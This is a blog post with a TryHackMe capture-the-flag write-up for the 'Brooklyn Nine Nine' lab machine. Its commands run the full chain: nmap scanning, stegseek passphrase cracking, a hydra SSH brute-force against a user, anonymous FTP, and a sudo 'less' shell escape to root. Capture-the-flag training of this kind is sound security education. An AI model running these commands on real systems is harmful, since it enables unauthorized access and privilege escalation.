DEV Community

Cover image for TryHackMe Writeup: Brooklyn Nine Nine
Rupam Ghosh
Rupam Ghosh

Posted on AI-assisted

TryHackMe Writeup: Brooklyn Nine Nine

This writeup documents the complete exploitation path for the Brooklyn Nine Nine room at TryHackMe.

The attack chain was:

Nmap Enumeration
      ↓
Web Enumeration
      ↓
Steganography Discovery
      ↓
Steghide Passphrase Cracking
      ↓
Holt SSH Access
      ↓
Anonymous FTP
      ↓
Jake Password Discovery
      ↓
SSH Access as Jake
      ↓
Sudo Enumeration
      ↓
less → Root Shell
      ↓
Root Flag
Enter fullscreen mode Exit fullscreen mode

1. Initial Enumeration

I started by exporting the target IP as an environment variable:

export IP=10.49.178.215
Enter fullscreen mode Exit fullscreen mode

Then I performed a quick Nmap scan against the top 1000 TCP ports:

nmap -T4 --top-ports 1000 $IP
Enter fullscreen mode Exit fullscreen mode

The scan returned:

PORT     STATE    SERVICE
21/tcp   open     ftp
22/tcp   open     ssh
80/tcp   open     http
1025/tcp filtered NFS-or-IIS
Enter fullscreen mode Exit fullscreen mode

Three interesting services were:

  • 21/tcp — FTP
  • 22/tcp — SSH
  • 80/tcp — HTTP

I decided to investigate the web server first.


2. Web Enumeration

Opening the website hosted on port 80 revealed a JPG image named:

brooklyn99.jpg
Enter fullscreen mode Exit fullscreen mode

While inspecting the page source, I found an interesting HTML comment:

<!-- Have you ever heard of steganography? -->
Enter fullscreen mode Exit fullscreen mode

This strongly suggested that the image contained hidden information.

I decided to investigate the image using steghide.


3. Extracting the Hidden Data

Running steghide required a passphrase, so instead of guessing manually, I used stegseek with the rockyou.txt wordlist.

stegseek brooklyn99.jpg /usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode

The passphrase was successfully recovered within seconds:

[i] Found passphrase: "admin"
[i] Original filename: "note.txt".
[i] Extracting to "brooklyn99.jpg.out".
Enter fullscreen mode Exit fullscreen mode

The extracted file contained:

Holts Password:
[Redacted]

Enjoy!!
Enter fullscreen mode Exit fullscreen mode

This gave me what appeared to be a password for a user named holt.


4. Initial Access — Holt

I tested the discovered credentials against SSH:

ssh holt@$IP
Enter fullscreen mode Exit fullscreen mode

The credentials worked, giving me SSH access as holt.

I then searched for the user flag using ls -la and found user.txt

cat user.txt
Enter fullscreen mode Exit fullscreen mode

This revealed the first flag.

At this point, I had achieved initial access, but I still needed to escalate my privileges to root.


5. Further Enumeration

I checked the operating system hoping to find vulnerabilities

cat /etc/os-release
Enter fullscreen mode Exit fullscreen mode

The machine was running:

NAME="Ubuntu"
VERSION="18.04.4 LTS (Bionic Beaver)"
VERSION_ID="18.04"
Enter fullscreen mode Exit fullscreen mode

I also performed a more targeted service/version scan:

nmap -sC -sV -p 21,22,80 $IP
Enter fullscreen mode Exit fullscreen mode

The important results were:

21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Enter fullscreen mode Exit fullscreen mode

I Found out that the FTP server also allowed anonymous authentication.


6. Anonymous FTP Enumeration

I connected to the FTP service:

ftp $IP
Enter fullscreen mode Exit fullscreen mode

When prompted for credentials, I used:

Username: anonymous
Password: anonymous
Enter fullscreen mode Exit fullscreen mode

Anonymous login was successful:

230 Login successful.
Enter fullscreen mode Exit fullscreen mode

Listing the directory revealed:

-rw-r--r--    1 0        0             119 May 17  2020 note_to_jake.txt
Enter fullscreen mode Exit fullscreen mode

I downloaded the file:

get note_to_jake.txt
Enter fullscreen mode Exit fullscreen mode

I inspected the downloaded file:

cat note_to_jake.txt
Enter fullscreen mode Exit fullscreen mode

The contents were:

From Amy,

Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine
Enter fullscreen mode Exit fullscreen mode

This suggested that the user Jake had a weak password.


7. Obtaining Jake's Credentials

Since the note explicitly mentioned that Jake's password was weak, I attempted a password attack against his SSH account using rockyou.txt.

hydra -l jake -P /usr/share/wordlists/rockyou.txt ssh://$IP
Enter fullscreen mode Exit fullscreen mode

Hydra eventually found valid credentials:

[22][ssh] host: 10.49.178.215
login: jake
password: [Redacted]
Enter fullscreen mode Exit fullscreen mode

I could now authenticate to SSH as Jake.


8. Privilege Escalation

After logging in as Jake, I checked for files that might contain the flag using la and found

.bash_history  .bashrc  .gnupg    .local    .ssh
.bash_logout   .cache   .lesshst  .profile  .sudo_as_admin_successful
Enter fullscreen mode Exit fullscreen mode

I tried to cat .sudo_as_admin_succesful but it was empty :(

So i tried to find out which commands he could execute with elevated privileges:

sudo -l
Enter fullscreen mode Exit fullscreen mode

The output was:

User jake may run the following commands on brookly_nine_nine:
    (ALL) NOPASSWD: /usr/bin/less
Enter fullscreen mode Exit fullscreen mode

This was the key privilege escalation vector.

Jake could execute /usr/bin/less as root without providing a password.

less is normally a pager for viewing files, but it can also provide functionality that allows commands to be executed from within the program.


9. Escaping less to Obtain Root

I launched less with elevated privileges:

sudo /usr/bin/less /etc/passwd
Enter fullscreen mode Exit fullscreen mode

Once inside less, I entered:

!/bin/bash
Enter fullscreen mode Exit fullscreen mode

This spawned a shell from the less process.

I verified my privileges:

root@brookly_nine_nine:~# whoami
root
Enter fullscreen mode Exit fullscreen mode

10. Retrieving the Root Flag

With root access, I navigated to /root:

cd /root
Enter fullscreen mode Exit fullscreen mode

Listing the directory revealed:

.bashrc
.local
.profile
.ssh
.wget-hsts
root.txt
Enter fullscreen mode Exit fullscreen mode

I read the root flag:

cat root.txt
Enter fullscreen mode Exit fullscreen mode

The file contained:

-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: [ Sorry but i can't display it to you :) ]

Enjoy!!
Enter fullscreen mode Exit fullscreen mode

Conclusion

The machine used several straightforward vulnerabilities chained together.

The initial foothold came from information hidden inside an image using steganography. The recovered credentials allowed SSH access as Holt. Further enumeration revealed anonymous FTP access, where a note disclosed that Jake's password was weak. A password attack against SSH recovered Jake's credentials. Finally, sudo -l revealed that Jake could execute less as root without a password. Using less to spawn a shell resulted in a root shell and allowed retrieval of the root flag.

This was really a fun room to solve.

For more writeups , follow me on dev.to
Other Socials : LinkedIn TryHackMe

Top comments (0)